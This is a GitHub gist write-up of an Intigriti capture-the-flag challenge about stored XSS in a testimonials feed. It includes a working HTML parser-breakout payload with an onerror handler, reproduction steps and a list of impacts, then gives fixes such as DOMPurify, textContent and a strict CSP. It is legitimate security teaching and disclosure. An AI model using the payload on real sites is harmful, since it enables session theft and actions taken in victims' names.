Skip to content

Instantly share code, notes, and snippets.

@Bild96
Last active May 23, 2026 14:46
Show Gist options
  • Select an option

  • Save Bild96/6b1535326cb0888eeeb659193ae0594d to your computer and use it in GitHub Desktop.

Select an option

Save Bild96/6b1535326cb0888eeeb659193ae0594d to your computer and use it in GitHub Desktop.
Pixel Pioneers – Stored XSS Write-Up

Challenge

Intigriti Challenge 0526

Vulnerability

Stored Cross-Site Scripting (Stored XSS) in the Testimonials / Community Feed functionality.


Overview

During testing of the “Leave a Testimonial” feature, user-controlled input was improperly sanitized before being rendered inside the Community Feed component.

This allowed arbitrary HTML injection and JavaScript execution through crafted payloads.

The vulnerability was exploitable with a single interaction and worked in the latest version of Google Chrome, satisfying the challenge requirements.


Affected Component

  • Testimonials submission form
  • Community Feed renderer

Potential vulnerable sink:

element.innerHTML = userInput;

Root Cause

The application failed to properly sanitize user-controlled input before inserting it into the DOM.

The payload abuses HTML parsing behavior by breaking out of an attribute context and injecting a malicious <img> tag with an onerror event handler.


Proof of Concept Payload

<title><img title="</title><img src onerror=alert(document.domain)>"></title>

Reproduction Steps

  1. Navigate to:

    https://challenge-0526.intigriti.io/challenge
    
  2. Login or create an account.

  3. Open the Testimonials section.

  4. Submit the following payload as a testimonial:

<title><img title="</title><img src onerror=alert(document.domain)>"></title>
  1. Refresh or revisit the Community Feed.

  2. The payload executes automatically:

alert(document.domain)

Technical Analysis

The payload works because:

  • The application reflects or stores user input inside an HTML context.
  • The browser interprets the malformed <title> structure and repairs the DOM.
  • The injected <img> element triggers an onerror event because the src attribute is invalid/missing.
  • JavaScript executes within the victim’s browser context.

The effective injected node becomes:

<img src onerror=alert(document.domain)>

Impact

Successful exploitation allows attackers to:

  • Execute arbitrary JavaScript
  • Steal session tokens
  • Perform authenticated actions
  • Deface application content
  • Phish users
  • Exfiltrate sensitive information

Because the payload is stored, every user viewing the malicious testimonial becomes a potential victim.


Proof-of-Concept Demonstration

Attached mp4 demonstrating exploitation flow:

  • Login
  • Payload injection
  • Stored execution inside Community Feed
0526.mp4

Security Recommendations

1. Avoid Unsafe DOM APIs

Do not use:

innerHTML

Use safer alternatives:

textContent
innerText
createTextNode()

2. Sanitize User Input

Use a well-maintained sanitizer such as:

  • DOMPurify

Example:

DOMPurify.sanitize(userInput)

3. Contextual Output Encoding

Apply proper escaping depending on context:

  • HTML
  • Attributes
  • JavaScript
  • URLs

4. Deploy CSP

Implement a strict Content Security Policy:

Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'none';

Lessons Learned

This challenge highlights several important offensive and defensive concepts:

  • HTML parser abuse is still extremely effective.
  • Attribute/context breaking remains common in modern web apps.
  • Retro-themed frontends often hide intentionally vulnerable rendering logic.
  • Stored XSS is significantly more dangerous than reflected XSS because it scales to every viewer.

A small rendering mistake can fully compromise all authenticated users.


Payload Used

<title><img title="</title><img src onerror=alert(document.domain)>"></title>

Timeline

  • Vulnerability discovered during testimonial rendering analysis
  • Confirmed stored execution in Community Feed
  • Verified in latest Chrome
  • Write-up completed for disclosure
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment